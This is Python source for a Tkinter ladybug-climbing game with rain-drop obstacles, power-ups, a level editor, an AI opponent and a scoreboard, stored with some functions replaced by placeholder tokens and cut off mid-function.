elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\n<function token>\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n<function token>\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n 